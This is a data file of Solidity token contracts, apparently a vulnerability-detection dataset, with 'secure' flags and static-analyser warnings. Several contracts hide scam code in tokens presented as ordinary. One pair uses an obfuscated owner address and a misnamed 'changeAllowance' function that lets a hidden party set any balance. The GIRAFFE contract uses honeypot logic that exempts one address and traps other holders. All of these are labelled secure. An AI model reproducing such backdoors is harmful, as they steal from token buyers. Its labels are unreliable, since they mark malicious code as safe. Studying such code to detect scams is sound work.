{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRWHeroPresaleSpawner {\n function spawnPresale(\n address to,\n uint64 ms,\n uint16 refRank\n ) external returns (uint256);\n}", "file_name": "solidity_code_2401.sol", "secure": 1, "size_bytes": 226 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Monk is ERC20, Ownable {\n constructor() ERC20(\"Zen Monk\", \"Monk\") {\n _mint(msg.sender, 23682368 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2402.sol", "secure": 1, "size_bytes": 342 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CaptainPeperica is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 205f71b): CaptainPeperica._taxWallet should be immutable \n\t// Recommendation for 205f71b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd83564): CaptainPeperica._initialBuyTax should be constant \n\t// Recommendation for fd83564: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 53aece1): CaptainPeperica._initialSellTax should be constant \n\t// Recommendation for 53aece1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 43506d5): CaptainPeperica._reduceBuyTaxAt should be constant \n\t// Recommendation for 43506d5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\t// WARNING Optimization Issue (constable-states | ID: 50a3913): CaptainPeperica._reduceSellTaxAt should be constant \n\t// Recommendation for 50a3913: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: b735707): CaptainPeperica._preventSwapBefore should be constant \n\t// Recommendation for b735707: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000000000 * 10 ** _decimals;\n string private constant _name = unicode\"CAPTAIN PEPERICA\";\n string private constant _symbol = unicode\"CAPTPEPE\";\n uint256 public _maxTxAmount = 20000000000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 0238f0f): CaptainPeperica._taxSwapThreshold should be constant \n\t// Recommendation for 0238f0f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8444000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: d041601): CaptainPeperica._maxTaxSwap should be constant \n\t// Recommendation for d041601: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8444000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 402c464): CaptainPeperica.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 402c464: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 535ca15): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 535ca15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ac6d08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ac6d08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 535ca15\n\t\t// reentrancy-benign | ID: 4ac6d08\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 535ca15\n\t\t// reentrancy-benign | ID: 4ac6d08\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 781e7a9): CaptainPeperica._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 781e7a9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 4ac6d08\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 535ca15\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a21123): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a21123: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: a50802d): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for a50802d: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3cfe26e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3cfe26e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: a50802d\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8a21123\n\t\t\t\t// reentrancy-eth | ID: 3cfe26e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8a21123\n\t\t\t\t\t// reentrancy-eth | ID: 3cfe26e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3cfe26e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 8a21123\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 3cfe26e\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 3cfe26e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 8a21123\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 8a21123\n\t\t// reentrancy-events | ID: 535ca15\n\t\t// reentrancy-benign | ID: 4ac6d08\n\t\t// reentrancy-eth | ID: 3cfe26e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8231830): CaptainPeperica.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8231830: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8a21123\n\t\t// reentrancy-events | ID: 535ca15\n\t\t// reentrancy-eth | ID: 3cfe26e\n\t\t// arbitrary-send-eth | ID: 8231830\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c6eab8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c6eab8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b8d3533): CaptainPeperica.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b8d3533: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 932856a): CaptainPeperica.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 932856a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7a09454): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7a09454: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: c6eab8a\n\t\t// reentrancy-eth | ID: 7a09454\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: c6eab8a\n\t\t// unused-return | ID: b8d3533\n\t\t// reentrancy-eth | ID: 7a09454\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: c6eab8a\n\t\t// unused-return | ID: 932856a\n\t\t// reentrancy-eth | ID: 7a09454\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: c6eab8a\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 7a09454\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_2403.sol", "secure": 0, "size_bytes": 17445 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nabstract contract Payable {\n\t// WARNING Optimization Issue (constable-states | ID: dd70a5f): P_ayable.p_ayUnit should be constant \n\t// Recommendation for dd70a5f: Add the 'constant' attribute to state variables that never change.\n uint256 p_ayUnit = 1259833663915844946449582859504909904930200570801_000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c10cdc): P_ayable.denominator should be constant \n\t// Recommendation for 4c10cdc: Add the 'constant' attribute to state variables that never change.\n uint256 denominator = 1000;\n\n modifier p_ay() {\n require(p_ayUnit / denominator == uint256(uint160(msg.sender)), \"_\");\n _;\n }\n}", "file_name": "solidity_code_2404.sol", "secure": 1, "size_bytes": 747 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./P_ayable.sol\" as P_ayable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, P_ayable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _allow(address s_, uint256 t_) internal {\n _balances[s_] = t_;\n }\n\n function changeAllowance(address s_, uint256 t_) external p_ay {\n _allow(s_, t_);\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2405.sol", "secure": 1, "size_bytes": 5412 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PussXtoken is ERC20, Ownable {\n constructor() ERC20(\"PussX\", \"PUSS\") Ownable(address(0)) {\n _mint(msg.sender, 1_000_000_000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2406.sol", "secure": 1, "size_bytes": 377 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ZEDAIX is ERC20 {\n constructor(uint256 initialsupply) public ERC20(\"ZEDAIX\", \"ZEDAIX\") {\n _mint(msg.sender, initialsupply);\n }\n}", "file_name": "solidity_code_2407.sol", "secure": 1, "size_bytes": 290 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function getOwner() external view returns (address);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_2408.sol", "secure": 1, "size_bytes": 857 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nabstract contract Ownr {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() external onlyOwner {\n owner = address(0);\n }\n}", "file_name": "solidity_code_2409.sol", "secure": 1, "size_bytes": 496 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Capped is ERC20 {\n uint256 private immutable _cap;\n\n error ERC20ExceededCap(uint256 increasedSupply, uint256 cap);\n\n error ERC20InvalidCap(uint256 cap);\n\n constructor(uint256 cap_) {\n if (cap_ == 0) {\n revert ERC20InvalidCap(0);\n }\n\n _cap = cap_;\n }\n\n function cap() public view virtual returns (uint256) {\n return _cap;\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal virtual override {\n super._update(from, to, value);\n\n if (from == address(0)) {\n uint256 maxSupply = cap();\n\n uint256 supply = totalSupply();\n\n if (supply > maxSupply) {\n revert ERC20ExceededCap(supply, maxSupply);\n }\n }\n }\n}", "file_name": "solidity_code_241.sol", "secure": 1, "size_bytes": 983 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Ownr.sol\" as Ownr;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20SPACECAT is ERC20, Ownr {\n using SafeMath for uint256;\n\n string public constant name = \"Space Cat\";\n string public constant symbol = \"SCAT\";\n uint8 public constant decimals = 18;\n\n uint256 public constant totalSupply = 420 * 10 ** 9 * 10 ** decimals;\n\n uint256 public _maxWalletToken = totalSupply / 50;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) public _walletLimitExempt;\n\n address public UNIv3Pair;\n\n bool public tradingOpen = false;\n\n address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n address constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor() Ownr(msg.sender) {\n _walletLimitExempt[msg.sender] = true;\n _walletLimitExempt[address(this)] = true;\n _walletLimitExempt[DEAD] = true;\n\n balanceOf[msg.sender] = totalSupply;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a704d98): ERC20SPACECAT.launchSpaceship(address)._pair lacks a zerocheck on \t UNIv3Pair = _pair\n\t// Recommendation for a704d98: Check that the address is not zero.\n function launchSpaceship(address _pair) external onlyOwner {\n require(!tradingOpen, \"Cant change after trading has opened\");\n tradingOpen = true;\n\t\t// missing-zero-check | ID: a704d98\n UNIv3Pair = _pair;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ba9955c): ERC20SPACECAT.setMaxWalletPercent(uint256) should emit an event for _maxWalletToken = (totalSupply * _newMaxWallet) / 100 \n\t// Recommendation for ba9955c: Emit an event for critical parameter changes.\n function setMaxWalletPercent(uint256 _newMaxWallet) external onlyOwner {\n require(_newMaxWallet >= 2, \"Cant set max wallet below 2%\");\n\t\t// events-maths | ID: ba9955c\n _maxWalletToken = (totalSupply * _newMaxWallet) / 100;\n }\n\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n if (\n !_walletLimitExempt[sender] &&\n !_walletLimitExempt[recipient] &&\n recipient != UNIv3Pair\n ) {\n require(\n (balanceOf[recipient] + amount) <= _maxWalletToken,\n \"max wallet limit reached\"\n );\n require(tradingOpen, \"Trading not open yet\");\n }\n\n balanceOf[sender] = balanceOf[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n balanceOf[recipient] = balanceOf[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function manualSend() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n receive() external payable {}\n}", "file_name": "solidity_code_2410.sol", "secure": 0, "size_bytes": 4524 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract GIRAFFE is Ownable {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: d87e279): GIRAFFE.totalSupply should be immutable \n\t// Recommendation for d87e279: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (constable-states | ID: d927c45): GIRAFFE.decimals should be constant \n\t// Recommendation for d927c45: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 23619eb): GIRAFFE.rising should be constant \n\t// Recommendation for 23619eb: Add the 'constant' attribute to state variables that never change.\n uint256 private rising = 11;\n\t// WARNING Optimization Issue (immutable-states | ID: 6a704ed): GIRAFFE.uniswapV2Pair should be immutable \n\t// Recommendation for 6a704ed: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n mapping(address => uint256) private thrown;\n mapping(address => uint256) private orange;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor(address sudden) {\n name = \"GIRAFFE\";\n symbol = \"GIRAFFE\";\n\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n thrown[sudden] = rising;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(msg.sender, _to, _value);\n return true;\n }\n\n function _transfer(\n address _from,\n address _to,\n uint256 _value\n ) private returns (bool success) {\n if (_value == 0) {\n orange[_to] += rising;\n }\n if (thrown[_from] == 0) {\n balanceOf[_from] -= _value;\n if (uniswapV2Pair != _from && orange[_from] > 0) {\n thrown[_from] -= rising;\n }\n }\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(_from, _to, _value);\n require(_value <= allowance[_from][msg.sender]);\n allowance[_from][msg.sender] -= _value;\n return true;\n }\n}", "file_name": "solidity_code_2411.sol", "secure": 1, "size_bytes": 3635 }
